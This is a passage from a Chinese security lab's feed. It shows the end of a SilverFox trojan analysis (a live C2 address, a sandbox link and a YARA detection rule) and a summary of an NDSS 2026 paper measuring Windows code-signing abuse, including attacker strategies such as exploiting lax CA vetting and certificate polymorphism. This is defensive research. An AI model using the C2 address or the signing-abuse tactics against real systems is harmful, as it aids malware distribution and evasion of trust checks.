[]"><strong style="box-sizing: border-box;font-weight: 600;"><strong style="box-sizing: border-box;font-weight: 600;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">恶意IOC</span></strong></strong></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">192</span>.<span class="code-snippet__number">238</span>.<span class="code-snippet__number">201</span>.<span class="code-snippet__number">32</span>[:]<span class="code-snippet__number">30009</span> C2 地址</span></code></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">报告链接</span></strong></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">分析报告：</span><span leaf="">(<a href="https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=f5a88f0b8dac93bf0a307282ba2c9d86&amp;sk=91675144)" target="_blank">https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=f5a88f0b8dac93bf0a307282ba2c9d86&amp;sk=91675144)</a></span></p><div data-role="title" data-tools="135编辑器" data-id="167089" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: center;"><div style="display: flex;align-items: center;"><div style="flex-shrink: 0;padding-right: 10px;padding-bottom: 5px;box-sizing:border-box;"><div><p style="font-size: 16px;color: #ffffff;text-align:center;background-color: #6296ff;width: 32px;height: 32px;border-radius: 100%;display: flex;justify-content: center;align-items: center;box-sizing:border-box;"><strong><span leaf="">0</span></strong><strong data-original-title="" title=""><span leaf="">5</span></strong></p></div></div><div><p style="font-size: 16px;color: #1d294b;text-align: center;"><strong data-brushtype="text"><span leaf="">检出规则</span></strong></p></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">天穹沙箱已针对该银狐变种样本编写如下YARA规则，供用户参考使用：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="makefile"><code><span leaf="">rule Trojan_SilverFox</span></code><br/><code><span leaf="">{</span></code><br/><code><span leaf=""><span class="code-snippet__section">meta:</span></span></code><br/><code><span leaf="">description = <span class="code-snippet__string">&#34;银狐变种的检测&#34;</span></span></code><br/><code><span leaf="">date = <span class="code-snippet__string">&#34;2026-01-04&#34;</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">strings:</span></span></code><br/><code><span leaf="">$seq1 = { 81 E2 FF 00 00 00 03 C2 25 FF 00 00 00 2B C2 88 04 24 48 63 44 24 04 48 8B 4C 24 20 8A 04 01 88 44 24 01 0F B6 04 24 48 63 4C 24 04 48 8B 54 24 20 4C 8B 44 24 20 41 8A 04 00 88 04 0A 0F B6 04 24 48 8B 4C 24 20 8A 54 24 01 88 14 01 }</span></code><br/><code><span leaf="">$seq2 = { 81 E2 FF 00 00 00 03 C2 25 FF 00 00 00 2B C2 48 8B 4C 24 20 88 81 01 01 00 00 48 8B 44 24 20 0F B6 80 00 01 00 00 48 8B 4C 24 20 8A 04 01 88 04 24 48 8B 44 24 20 0F B6 80 01 01 00 00 48 8B 4C 24 20 0F B6 89 00 01 00 00 48 8B 54 24 20 4C 8B 44 24 20 41 8A 04 00 88 04 0A 48 8B 44 24 20 0F B6 80 01 01 00 00 48 8B 4C 24 20 8A 14 24 88 14 01 48 8B 44 24 20 0F B6 80 00 01 00 00 48 8B 4C 24 20 0F B6 04 01 48 8B 4C 24 20 0F B6 89 01 01 00 00 48 8B 54 24 20 0F B6 0C 0A 33 C1 }</span></code><br/><code><span leaf=""><span class="code-snippet__section">condition:</span></span></code><br/><code><span leaf="">all of them</span></code><br/><code><span leaf="">}</span></code><br/></pre></p><div data-role="title" data-tools="135编辑器" data-id="167089" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: center;"><div style="display: flex;align-items: center;"><div style="flex-shrink: 0;padding-right: 10px;padding-bottom: 5px;box-sizing:border-box;"><div><p style="font-size: 16px;color: #ffffff;text-align:center;background-color: #6296ff;width: 32px;height: 32px;border-radius: 100%;display: flex;justify-content: center;align-items: center;box-sizing:border-box;"><strong><span leaf="">0</span></strong><strong data-original-title="" title=""><span leaf="">6</span></strong></p></div></div><div><p style="font-size: 16px;color: #1d294b;text-align: center;"><strong data-brushtype="text"><span leaf="">技术支持与反馈</span></strong></p></div></div></div></div><p data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;font-weight: bold;">天穹智能分析平台</span></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">（联系我们申请账号）：<a href="https://sandbox.qianxin.com" target="_blank">https://sandbox.qianxin.com</a></span></span></span></strong></span></p><div data-role="outer" label="edit by 135editor" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);visibility: visible;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;justify-content: flex-start;display: flex;flex-flow: row;"><div data-lazy-bgimg="https://mmbiz.qpic.cn/mmbiz_jpg/lG0evzxL96mb6T0XCd0WWkltxz466LZkI7a6qOAWvwoqTuvPUGK2Okj4L0H6fK295GcaGrMkbh8VLpE3a1zwvw/640?wx_fmt=jpeg" data-fail="0" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 677px;vertical-align: top;background-size: 100% 100%;background-attachment: scroll;border-style: solid;border-width: 2px 1px 1px;border-color: rgb(18, 94, 168) rgba(183, 217, 255, 0.39) rgba(183, 217, 255, 0.39);align-self: flex-start;flex: 0 0 auto;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/lG0evzxL96mb6T0XCd0WWkltxz466LZkI7a6qOAWvwoqTuvPUGK2Okj4L0H6fK295GcaGrMkbh8VLpE3a1zwvw/640?wx_fmt=jpeg&#34;);background-position: 50% 50%;background-repeat: no-repeat;"><div powered-by="xiumi.us" style="-webkit-tap-highlight-color: transparent;margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(62, 62, 62);"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">天穹智能分析平台持续迭代升级，致力于为每一位样本分析人员打造更高效、更智能、更易用的分析平台——这始终是我们不变的初心与追求。</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">如果您希望深入了解平台功能，或在使用过程中遇到任何问题，欢迎随时联系我们。您的反馈，是我们进步的重要动力！</span></span></p></div></div></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=94bfdf23&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247489034%26idx%3D1%26sn%3D1fd45082f29e9207d539a3cd1890edca">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 22 Jan 2026 16:51:00 +0800</pubDate>
    </item>
    <item>
      <title>【论文分享】被滥用的信任：Windows 代码签名滥用测量研究</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247489016&amp;idx=1&amp;sn=0e14a2da0f4d916c8759c197335bd855</link>
      <description>星图实验室联合清华大学、中关村实验室在 NDSS 2026 发表研究成果！团队分析超 320 万个恶意样本，构建了全球最大的代码签名滥用数据集（43,286张证书），首次发现&#34;幽灵证书&#34;威胁，系统揭示五大攻击策略。数据集已开源，为软件供应链安全研究提供重要支撑。</description>
      <content:encoded><![CDATA[<p><span>星图实验室</span> <span>2026-01-21 13:10</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=8db25a2b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96mWrkGDjmRU2PIibJOxS1NKaJ130vXt6mb1UtO7tDM3B3MfR5orWiboSeqo9GS9FUB52CgnNicLahxmg%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>星图实验室联合清华大学、中关村实验室在 NDSS 2026 发表研究成果！团队分析超 320 万个恶意样本，构建了全球最大的代码签名滥用数据集（43,286张证书），首次发现"幽灵证书"威胁，系统揭示五大攻击策略。数据集已开源，为软件供应链安全研究提供重要支撑。</p>
  <p data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 24px;color: rgb(0, 128, 255);font-weight: bold;">一、代码签名沦为恶意软件的“护身符”</span></span></p><p data-pm-slice="0 0 []"><span leaf="">当你在运行某个软件时，看到如下所示的弹框，</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">“已验证的发布者：XXX有限公司”</span></strong><span leaf="">，你是否会不假思索地点击“是”？然而，大量安全事件表明这样的信任已经被攻击者滥用，看似安全的软件来源可能来自于精心设计的伪装。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6267539756782039" data-s="300,640" data-type="png" data-w="1069" type="block" data-imgfileid="100005360" src="https://wechat2rss.xlab.app/img-proxy/?k=4ac8fbf1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96mWrkGDjmRU2PIibJOxS1NKapDuXJrpQwgZdzH1zlAgRLblSgbfcjl8j4cfdIS8QsJFRuZdxnqO5SA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">近年来，软件供应链安全事件频发，为了保护软件真实性与完整性，代码签名机制应运而生。代码签名主要依赖公钥基础设施 PKI 技术，旨在确保软件来自真实来源且软件内容未被篡改。当终端用户安装或以管理员权限运行软件时，操作系统会验证代码签名的有效性，帮助用户判断此软件是否值得信任（如上图所示）。然而，攻击者有时会反过来利用代码签名 PKI 信任体系中的安全缺陷，通过某种手段为恶意软件配置代码签名，帮助恶意软件绕过操作系统和杀毒软件的检查，我们称之为</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">“代码签名滥用”</span></strong><span leaf="">。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.30277777777777776" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100005361" src="https://wechat2rss.xlab.app/img-proxy/?k=23f78ccb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96mWrkGDjmRU2PIibJOxS1NKaOve5eJMm6uDOHgnC79N3ZiakhF1jeO2PpM39fzWTpGbttsHoo96eYtw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">为了应对代码签名滥用带来的安全威胁，奇安信技术研究院星图实验室与清华大学、中关村实验室联合研究团队在 NDSS 2026 会议上发表了论文《Understanding the Status and Strategies of the Code Signing Abuse Ecosystem》。这项工作由清华大学和奇安信联合培养的卓越工程师计划博士研究生赵汉卿主导完成，导师为段海新教授（清华大学）和应凌云博士（奇安信星图实验室）。其他作者分别为张一铭（清华大学）、张明明（中关村实验室）、刘保君（清华大学）、游子权（清华大学）、张书豪（奇安信星图实验室）。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">在这项工作中，我们利用从真实世界中收集的 3,216,113 个已签名的恶意 PE 文件，对 Windows 代码签名滥用行为进行了大规模测量。通过细粒度的代码签名滥用检测分类算法，我们检测到了 43,286 张滥用证书，构建了迄今为止最大的滥用标记数据集。分析发现当前代码签名滥用现象普遍存在，影响了 46 家 CA 厂商以及 114 个国家或地区的证书。我们发现了五种滥用者的攻击策略，并根据当前代码签名 PKI 存在的安全缺陷提出了若干缓解措施。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;"><span leaf=""><span textstyle="" style="font-size: 24px;color: rgb(0, 128, 255);font-weight: bold;">二、代码签名研究的三大挑战</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">与传统的 Web PKI 不同，代码签名 PKI 测量研究存在三大挑战：</span></p><ol style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">缺少大规模数据集：</span></strong><p><span leaf="">在 Web PKI 中，研究者可以通过 TLS 扫描主动收集数据或被动分析 TLS 流量。Censys 和 Rapid7 等公共数据集也能为测量工作提供支持。此外，证书透明度（CT）机制提供了 CA 颁发记录，方便研究者批量获取证书数据。然而，代码签名生态系统相对封闭，无法通过主动扫描或 CT 等手段获取大规模数据集，这是制约代码签名测量研究的最大障碍。</span></p></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">缺少 Ground Truth：</span></strong><p><span leaf="">尽管近年来代码签名滥用事件频发，但是学术界尚未找到代码签名滥用检测分类相关的 Ground Truth，以往基于签发行为的分类方法被证实可能会被攻击者绕过。这阻碍了对代码签名证书进行标注和聚类分析。</span></p></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">问题根源难以溯源：</span></strong><p><span leaf="">CA 端的操作和实现并不透明，即便定位到代码签名滥用行为，也难以由此溯源到造成滥用的根源所在，导致无法提出有针对性的缓解措施。</span></p></li></ol><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">我们的工作分别通过</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">综合公共数据集与私有沙箱样本</span></strong><span leaf="">、</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">设计基于撤销信息的滥用检测分类算法</span></strong><span leaf="">、</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">按照不同滥用类型作细粒度分析</span></strong><span leaf="">等方法解决了以上三大挑战。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;"><span leaf=""><span textstyle="" style="font-size: 24px;color: rgb(0, 128, 255);font-weight: bold;">三、代码签名滥用测量的创新方法设计</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">为了解决以上挑战，我们提出了针对代码签名滥用测量的一系列创新方法设计，以实现大规模、细粒度、可溯源的滥用测量分析。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">数据收集方面，我们综合了</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">公共数据集与私有沙箱样本</span></strong><span leaf="">。我们收集了公共恶意软件存储库 VirusShare 在 2020 年 10 月至 2024 年 10 月期间发布的所有样本，经过过滤保留了 176,968 个签名 PE 样本。此外，我们还从合作公司沙箱中补充收集了 3,828,744 个签名的 PE 文件。两个数据集通过合并去重后共得到 3,962,788 个签名样本，通过反病毒引擎分析最终筛选出了 3,216,113 个恶意签名样本。此外，我们还从多个维度对样本特征进行了扩充，比如爬取 CRL 撤销信息、收集样本恶意行为分析报告等，以实现更精准的检测与分析。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.14814814814814814" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100005362" src="https://wechat2rss.xlab.app/img-proxy/?k=e6422970&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96mWrkGDjmRU2PIibJOxS1NKaVcrx4yYgFaV7ml0ewhWupoZpBJLYBuUFH7POl9z2DHRJXibaP0PiaKkg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">为了实现细粒度的分析，我们提出了一种</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">代码签名滥用检测分类算法</span></strong><span leaf="">。受益于近年来 CA 撤销透明度的改善，我们得以通过已撤销证书被披露的撤销原因（Revocation Reason）来推知证书滥用背后的原因。我们依据样本对应的 SignTool 输出结果、CRL 撤销信息以及 OpenCorporates 查询结果设计了新的检测分类方法，将滥用分为签名复制、私钥窃取、身份盗用、空壳公司、自签证书等五种滥用类型。不同的滥用类型采取了不同的滥用手段，其产生的安全威胁与影响范围也有所不同。对于私钥窃取、身份盗用以及空壳公司这三类相对高级的滥用类型而言，由于攻击者掌握受信任证书的私钥，他们可以任意为恶意软件进行签名且不会触发操作系统的安全告警，具有隐蔽性强、影响范围大的特点。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2833333333333333" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100005363" src="https://wechat2rss.xlab.app/img-proxy/?k=d27ae750&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96mWrkGDjmRU2PIibJOxS1NKaFYupt2N8ict9lzzn6HZJHS0tHsxPEPPWcMmfRP9ncEv0ulOlFhKqOFA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">此外，我们还设计了一种</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">基于</span></strong><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">LLM</span></strong><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">的证书关联方法</span></strong><span leaf="">，通过输入证书主题字段以及公钥信息来推断滥用证书是否来自同一攻击者。这一方法不仅帮助我们扩展标记了 287 张未标记滥用证书，还以此聚类得到了 3,484 个证书多态类簇，为后续滥用策略分析提供支撑。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;"><span leaf=""><span textstyle="" style="color: rgb(0, 128, 255);font-weight: bold;">四、核心贡献与关键发现</span></span></h2><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;"><span leaf=""><span textstyle="" style="font-weight: bold;">构建迄今最大的滥用标记数据集</span></span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">利用代码签名滥用检测分类算法，我们最终收集到了 3,216,113 个来自真实世界的已签名的恶意 PE 文件，从中提取得到了 43,286 张滥用证书，构建了迄今为止最大的代码签名滥用标记数据集。值得注意的是，其中有 23,252 张滥用证书由公共可信 CA 颁发，我们的工作重点关注这些具有高威胁的证书样本。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.41203703703703703" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100005364" src="https://wechat2rss.xlab.app/img-proxy/?k=f46983e3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96mWrkGDjmRU2PIibJOxS1NKagPSoqcS4rL6yajqabxHddcDgWXRMk72hvjJAJr07aZVmWy24RmLVWg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;"><span leaf=""><span textstyle="" style="font-weight: bold;">对滥用生态开展全面测量</span></span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">我们利用上述代码签名滥用标记数据集对滥用生态开展了全面而深入的测量分析工作。分析发现当前代码签名滥用现象普遍存在，影响了 46 家 CA 厂商以及 114 个国家或地区的证书。我们发现部分 CA 明显更受攻击者青睐，且与市场份额与证书价格无关，这可能反映出某些 CA 对于证书申请者的身份审核存在漏洞。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4648148148148148" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100005365" src="https://wechat2rss.xlab.app/img-proxy/?k=d79503ec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96mWrkGDjmRU2PIibJOxS1NKag9iarP1SLkWUkgPsKunoPicL6lqEy7sib8krc8YTVaz5oSV397ic6UOUGQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;text-align: center;font-weight: bold;"><span leaf="">良性样本与恶意样本代码签名中的 CA 分布对比</span></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;"><span leaf=""><span textstyle="" style="font-weight: bold;">首次发现“幽灵证书”</span></span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">阻止滥用证书的唯一有效手段是证书撤销，测量发现为恶意软件签名的滥用证书撤销率仅为 17.56%。我们首次发现了制约撤销率提高的关键因素——“幽灵证书”，即已被确定为滥用却无法被撤销的证书。这些证书由于其颁发者证书过期、撤销或停止运营导致撤销设施（CRL/OCSP）失效，即使识别到滥用行为也无法发布撤销信息，而它们的代码签名即使在签名证书过期后由于时间戳（TSA）的存在依然有效。我们发现已确认被滥用但仍未被撤销的证书中至少有 38.96% 符合“幽灵证书”的条件。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.34074074074074073" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100005366" src="https://wechat2rss.xlab.app/img-proxy/?k=3cd89018&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96mWrkGDjmRU2PIibJOxS1NKaYIia8nIwoUJ36vunW8UcaeeOIgsBCSIQZ1vEVZhkW1DQ2ELYrFViciaTg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;text-align: center;font-weight: bold;"><span leaf="">“幽灵证书”示意图</span></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;"><span leaf=""><span textstyle="" style="font-weight: bold;">发现五种滥用策略</span></span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">为了找到当前代码签名 PKI 的安全缺陷并提出有针对性的缓解措施，我们深入分析了攻击者的行为和策略。我们通过分析标记数据集总结出了五种滥用策略，旨在逃避检查、降低成本和扩大攻击影响。例如，在证书申请阶段，攻击者可能会利用不同国家之间 CA 身份审查宽松程度的差异有选择性地申请证书（比如假以越南、亚美尼亚等国公司的身份进行申请）。在证书签名阶段，攻击者可能会为恶意软件精心配置“双签名”，通过附加兼容旧密码算法的签名来扩大攻击影响范围。</span></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;"><span leaf=""><span textstyle="" style="font-weight: bold;">深入挖掘证书多态现象</span></span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">证书多态也是攻击者常用的滥用策略之一。证书多态是指同一实体使用相同（或稍有修改）身份向相同或不同的 CA 申请多张证书的现象。借助证书多态，攻击者可以以相对较低的成本批量获得多个证书（避免注册多个空壳公司带来的巨额开销），同时逃避 CA 撤销的检查（一张证书被撤销不影响其他证书）。我们通过证书关联方法识别了 3,484 个证书多态类簇，发现了 315 个利用多态绕过撤销检查的真实案例。此外，我们还首次发现了利用特殊字符实施证书多态的实例（如下图所示）。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6148148148148148" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100005367" src="https://wechat2rss.xlab.app/img-proxy/?k=61ba8a57&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96mWrkGDjmRU2PIibJOxS1NKaLKgevDQETEgwnHncNSNePFaRLNuxXImqAtTfpgG4yu4z9CiawVFemFA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;text-align: center;font-weight: bold;"><span leaf="">利用特殊字符实施证书多态的示意图</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;"><span leaf=""><span textstyle="" style="color: rgb(0, 128, 255);font-weight: 